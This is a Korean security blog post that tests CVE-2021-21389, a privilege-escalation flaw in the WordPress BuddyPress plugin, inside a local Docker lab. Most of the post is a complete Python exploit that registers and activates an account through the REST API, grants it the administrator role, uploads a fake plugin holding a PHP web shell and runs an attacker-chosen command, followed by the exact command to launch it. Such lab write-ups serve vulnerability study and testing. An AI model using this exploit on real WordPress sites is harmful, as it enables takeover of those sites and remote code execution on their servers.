article thumbnail image
Published 2021. 7. 29. 14:45

CVE-2021-21389 취약점 POC에 대한 TEST를 진행해 보도록 하겠습니다.

 

CVE-2021-21389 이란 : WordPress의 플러그인 인 BuddyPress에서 권한이 없는 일반 사용자가 Rest API End Point의 문제를 악용하여 관리자 권한을 얻을 수 있는 취약점입니다.

WordPress : 커뮤니티 사이트를 구축하기 위한 오픈 소스


실습 진행

 

환경 구성 : Docker를 이용한 환경 구성, 취약한 BuddyPress 7.2.1 이하 버전(5.0.0 ~ 7.2.0)

 

Docker 설치 후 Putty를 통해 Docker에 접속하여 줍니다.

 

도커 접속 후 ipconfig | grep inet 을 통해 Docker IP를 확인해 줍니다.

 

이후 Putty를 통해 원격 접속합니다.

 

접속하게 되면 ID/PW를 입력하게 되는데 ID : docker / PW : tcuser를 통해 접속할 수 있습니다.

이후 HoangKien1020 님이 구성해 놓은 환경을 가져다 쓰도록 하겠습니다.

 

GitHub - HoangKien1020/CVE-2021-21389: BuddyPress is an open source WordPress plugin to build a community site. In releases of B

BuddyPress is an open source WordPress plugin to build a community site. In releases of BuddyPress from 5.0.0 before 7.2.1 it's possible for a non-privileged, regular user to obtain administrat...

github.com

 

명령어는 

git clone https://github.com/HoangKien1020/CVE-2021-21389 

위의 명령어를 통해 HoangKien1020님의 CVE-2021-21389 파일을 가져오도록 합니다.(저는 이미 생성을 해놨더니 위에 오류가 생겼네요;;)

 

이후 설치된 CVE-2021-21389 디렉터리로 이동해 줍니다.

cd CVE-2021-21389

다음 명령어 입력 docker build . -t hoangkien1020/buddypress:cve202121389(이미지 생성)

다음 명령어 입력 docker run -d --rm -it -p 8080:80 hoangkien1020/buddypress:cve202121389(도커 실행)

 

이렇게 되면 도커에 워드프레스의 취약한 BuddyPress버전이 깔리게 됩니다.

 

이제 로컬에서 http://dockerIP:8080(dockerIP = Putty 접속을 위해 사용하던 inet addr을 통해 접속을 하게 되면 접근이 가능합니다.

 

이후 계정이 존재하지 않는 계정을 통해 로그인 시도를 해보겠습니다.

 

계정이 존재하지 않은 것을 알 수 있습니다.

 

이제 파이썬의 PayLoad를 통해 공격을 해보도록 하겠습니다.

자신의 로컬 PC에서 파이썬 코드를 등록해 줍니다.


파이썬 Payload

import requests
import re
import sys,json,datetime,random,string

#proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"} 
proxies={}
# register via REST API without email confirmation
def random_char(y):
       return ''.join(random.choice(string.ascii_letters) for x in range(y))

def register(url,username,password):
    headers={
    "Content-Type": "application/json; charset=UTF-8"
    }
    data={
        "user_login":username,
        "user_email":random_char(7)+"@test.com",
        "user_name":username,
        "password":password
    }
    r = requests.post(url+"/wp-json/buddypress/v1/signup",headers=headers,data=json.dumps(data),proxies=proxies)
    if r.status_code==500 : 
        print("[-] That username already exists!")
        print("[+] Try to login this username ....")
        login(url,username,password)
    elif r.status_code==404 : 
        print("[-] Can't register because registration is disabled!")
        sys.exit(1)
    else: 
        data=json.loads(r.text)
        activation_key=data[0]["activation_key"]
        #print(activation_key)
        # active account
        requests.put(url+"/wp-json/buddypress/v1/signup/activate/"+activation_key,proxies=proxies)
    

def login(url,username,password):
    session = requests.Session()
    creds={
        'log':username,
        'pwd':password
        }
    r=session.post(url+"/wp-login.php",data=creds,allow_redirects=False,proxies=proxies)
    if (r.status_code!=302) : 
        print("[-] Login fail!")
        sys.exit(1)
    print("[+] Login successfully!")
    return session
# to get X-WP-Nonce
def createNewgroup(url,s,username):
    print("[+] Creating new group to get X-WP-Nonce")
# get _wpnonce
    response = s.get(url+"/groups/create/step/group-details/",proxies=proxies)
    if (response.status_code==404): 
        print("[-] The site needs to enable User Groups component!")
        sys.exit(1)
    _wp_nonce = re.findall(r'name="_wpnonce" value="(\w+)"',response.text)[0]
    #print(_wp_nonce)
    group_name="cve-2021-21389"+username
    files = {
        'group-name': (None, group_name),
        'group-desc': (None, group_name),
        '_wpnonce': (None, _wp_nonce),
        'group-id': (None, '0'),
        'save': (None, 'Create Group and Continue')
    }
    s.post(url+"/groups/create/step/group-details/", files=files,proxies=proxies)
    # get X-WP-Nonce
    resp=s.get(url+"/groups/"+group_name+"/admin/manage-members/",proxies=proxies)
    wp_nonce=re.findall('var wpApiSettings = .*\;',resp.text)
    wp_nonce=re.sub('^.*\"nonce\"\:\"','',wp_nonce[0])
    x_wp_nonce=re.sub('\".*$','',wp_nonce)
    #print(x_wp_nonce) 
    return x_wp_nonce

def privilegeEscalation(url,s,x_wp_nonce):
    print("[+] Privilege Escalation to Administrator!")
    # Let's use that nonce in X-WP-Nonce headder
    headers={
    'X-WP-Nonce':x_wp_nonce,
    "Content-Type": "application/json; charset=UTF-8"
    }
    data={
        "roles":"administrator"
    }
    s.post(url+"/wp-json/buddypress/v1/members/me",headers=headers,data=json.dumps(data),proxies=proxies)

def rce(url,s,command):
    print("[+] Checking RCE ...")
    #get nonce
    filename="cve202121389.php"
    response = s.get(url+"/wp-admin/plugin-install.php",proxies=proxies)
    if (response.status_code==403) : 
        print("[-] You are not an administator!")
        sys.exit(1)
    _wp_nonce = re.findall(r'name="_wpnonce" value="(\w+)"',response.text)[0]
    # select upload fake plugin to rce
    files = {
        '_wpnonce': (None, _wp_nonce),
        'pluginzip': (filename, "<?php system($_GET['cmd']); ?>", 'application/octet-stream'),
        'install-plugin-submit': (None, 'Install Now')
    }
    s.post(url+"/wp-admin/update.php?action=upload-plugin", files=files,proxies=proxies)
    # get link rce
    # get year,month
    now = datetime.datetime.now()
    year = '{:02d}'.format(now.year)
    month = '{:02d}'.format(now.month)
    print("[+] RCE via "+command+" command:")
    link_shell=url+"/wp-content/uploads/"+year+"/"+month+"/"+filename+"?cmd="+command
    resp=s.get(link_shell,proxies=proxies)
    print(resp.text)
    print("[+] Link RCE: \n"+link_shell)
    print("[+] Done!")

def main():
    if len(sys.argv) != 5:
        print ("[+] Usage: %s <target> <new username> <new password> <command>" % sys.argv[0])
        print ('[+] eg: %s http://192.168.186.130 test 1234 whoami' % sys.argv[0])
        sys.exit(-1)
    url=sys.argv[1]
    username=sys.argv[2]
    password=sys.argv[3]
    command=sys.argv[4]
    print("[+] Try to register ...")
    register(url,username,password)
    print("[+] Try to login ...")
    s=login(url,username,password)
    x_wp_nonce=createNewgroup(url,s,username)
    privilegeEscalation(url,s,x_wp_nonce)
    rce(url,s,command)

if __name__ == "__main__":
    main()


이후 자신의 로컬에서 

파이썬을 실행시켜 줍니다.

python CVE-2021-21389.py http://DockerIP hsoo(권한 상승할 계정 ID) 1234(PW) whoami // 계정이 존재하지 않을 시 생성이 됨.

 

WordPress 접속 시  

 

관리자 권한 획득 가능 확인.

'기술보안 > CVE' 카테고리의 다른 글

CVE-2021-35394 : RealTek UDPServer command injection attempt  (0) 2022.02.20
Log4Shell 정리  (0) 2021.12.30
CVE-2021-44228 : Apache Log4j 2  (0) 2021.12.11
OpenSSL 취약점  (0) 2021.08.31
CVE-2021-26855 : Exchange Server SSRF Vulnerability  (0) 2021.08.19
복사했습니다!